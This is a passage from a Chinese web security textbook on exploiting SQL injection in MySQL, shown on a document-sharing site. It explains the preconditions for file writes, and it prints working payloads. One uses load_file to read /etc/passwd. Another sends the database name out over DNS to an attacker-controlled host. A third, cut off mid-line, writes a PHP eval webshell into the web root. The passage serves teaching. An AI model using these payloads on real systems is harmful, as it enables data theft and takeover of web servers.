?id='unionselect1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100))#1.4SQL注入利用MySQL的load_file()函數(shù)在處理路徑時(shí),可以解析統(tǒng)一命名約定(UNC)路徑(例如\\SERVER\PATH),這些路徑不僅可以指向本地網(wǎng)絡(luò)中的共享資源,也可以指向遠(yuǎn)程服務(wù)器。特別地,當(dāng)數(shù)據(jù)庫(kù)部署在Windows系統(tǒng)上時(shí),攻擊者可以結(jié)合load_file()函數(shù)和UNC實(shí)現(xiàn)復(fù)雜的攻擊場(chǎng)景,例如利用DNSLOG(關(guān)于DNSLOG的詳細(xì)介紹與利用請(qǐng)參考第6.2節(jié))將數(shù)據(jù)外帶:通過(guò)設(shè)置一個(gè)惡意的DNS服務(wù)器來(lái)監(jiān)控和記錄數(shù)據(jù)庫(kù)發(fā)送的DNS請(qǐng)求。示例代碼如下,在TARGET處應(yīng)填寫(xiě)攻擊者控制的DNS服務(wù)器地址:?id=1'and1=(selectload_file(concat('////',hex(database()),'.TARGET//test')))#在這個(gè)示例中,攻擊者對(duì)當(dāng)前數(shù)據(jù)庫(kù)的名稱(chēng)進(jìn)行十六進(jìn)制編碼,并將DNS請(qǐng)求發(fā)送到攻擊者的DNS服務(wù)器。攻擊者通過(guò)監(jiān)控DNS服務(wù)器上的請(qǐng)求,從而獲取數(shù)據(jù)庫(kù)名稱(chēng)信息。1.4SQL注入利用3.寫(xiě)入文件攻擊者可以使用INTOOUTFILE或INTODUMPFILE語(yǔ)句將惡意代碼寫(xiě)入Web服務(wù)器文件,該方法通常用于寫(xiě)入Webshell(關(guān)于Webshell的更多內(nèi)容,詳見(jiàn)《Web安全基礎(chǔ)》第6章),實(shí)現(xiàn)這一利用方式需要同時(shí)滿(mǎn)足以下條件:(1)知曉系統(tǒng)目錄的絕對(duì)路徑。這是為了確保將文件寫(xiě)入可解析、可執(zhí)行的Web服務(wù)器位置。(2)secure_file_priv參數(shù)值為空(即secure_file_priv=''),或該參數(shù)值包含所寫(xiě)文件的目錄的絕對(duì)路徑。(3)MySQL對(duì)目標(biāo)文件的路徑擁有寫(xiě)權(quán)限。MySQL必須具備從目標(biāo)目錄寫(xiě)文件的權(quán)限。(4)MySQL連接用戶(hù)擁有FILE權(quán)限。MySQL連接用戶(hù)必須具備FILE權(quán)限,才能執(zhí)行寫(xiě)入文件的操作。在同時(shí)滿(mǎn)足上述條件的前提下,攻擊者通常利用INTOOUTFILE或INTODUMPFILE語(yǔ)句寫(xiě)入Webshell,其中INTOOUTFILE語(yǔ)句可以導(dǎo)出多行數(shù)據(jù),并且會(huì)對(duì)換行符、制表符等特殊字符進(jìn)行轉(zhuǎn)義處理,適合寫(xiě)入文本文件的場(chǎng)景;INTODUMPFILE語(yǔ)句只導(dǎo)出一行數(shù)據(jù),會(huì)保留數(shù)據(jù)的原始格式而不進(jìn)行任何轉(zhuǎn)義處理,適合寫(xiě)入二進(jìn)制文件的場(chǎng)景。1.4SQL注入利用攻擊者可以分別使用INTOOUTFILE和INTODUMPFILE語(yǔ)句將Webshell寫(xiě)入Web服務(wù)器,示例代碼如下:?id=1'unionselect1,2,'<?=eval($_POST["cmd"]);?>'intooutfile'/var/www/html
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶(hù)所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶(hù)上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶(hù)上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶(hù)因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 局間費(fèi)用合同范本
- 戶(hù)口投靠協(xié)議書(shū)
- 家庭股份協(xié)議書(shū)
- 預(yù)約合同訂金協(xié)議
- 資金暫存協(xié)議書(shū)
- 贈(zèng)送蛋糕協(xié)議書(shū)
- 賬號(hào)買(mǎi)賣(mài)協(xié)議書(shū)
- 屋架安全協(xié)議書(shū)
- 意向購(gòu)房協(xié)議書(shū)
- 藥店折扣協(xié)議書(shū)
- 物業(yè)公司動(dòng)火管理制度
- 《胃癌根治術(shù)腹腔鏡技術(shù)》課件
- 六年級(jí)下冊(cè)英語(yǔ)書(shū)湘少版單詞表
- 2025中國(guó)電信校園招聘易考易錯(cuò)模擬試題(共500題)試卷后附參考答案
- AI與智慧圖書(shū)館雙向賦能
- 《中藥的現(xiàn)代化》課件
- 生物專(zhuān)業(yè)英語(yǔ)翻譯-蔣悟生
- 高速鐵路客運(yùn)規(guī)章(第2版)課件 項(xiàng)目五 高速鐵路旅客運(yùn)輸服務(wù)管理
- 基礎(chǔ)醫(yī)學(xué)概論期末考試試卷
- 自愿離婚協(xié)議書(shū)標(biāo)準(zhǔn)樣本(八篇)
- 重慶市兩江新區(qū)2022-2023學(xué)年五年級(jí)下學(xué)期期末數(shù)學(xué)試題
評(píng)論
0/150
提交評(píng)論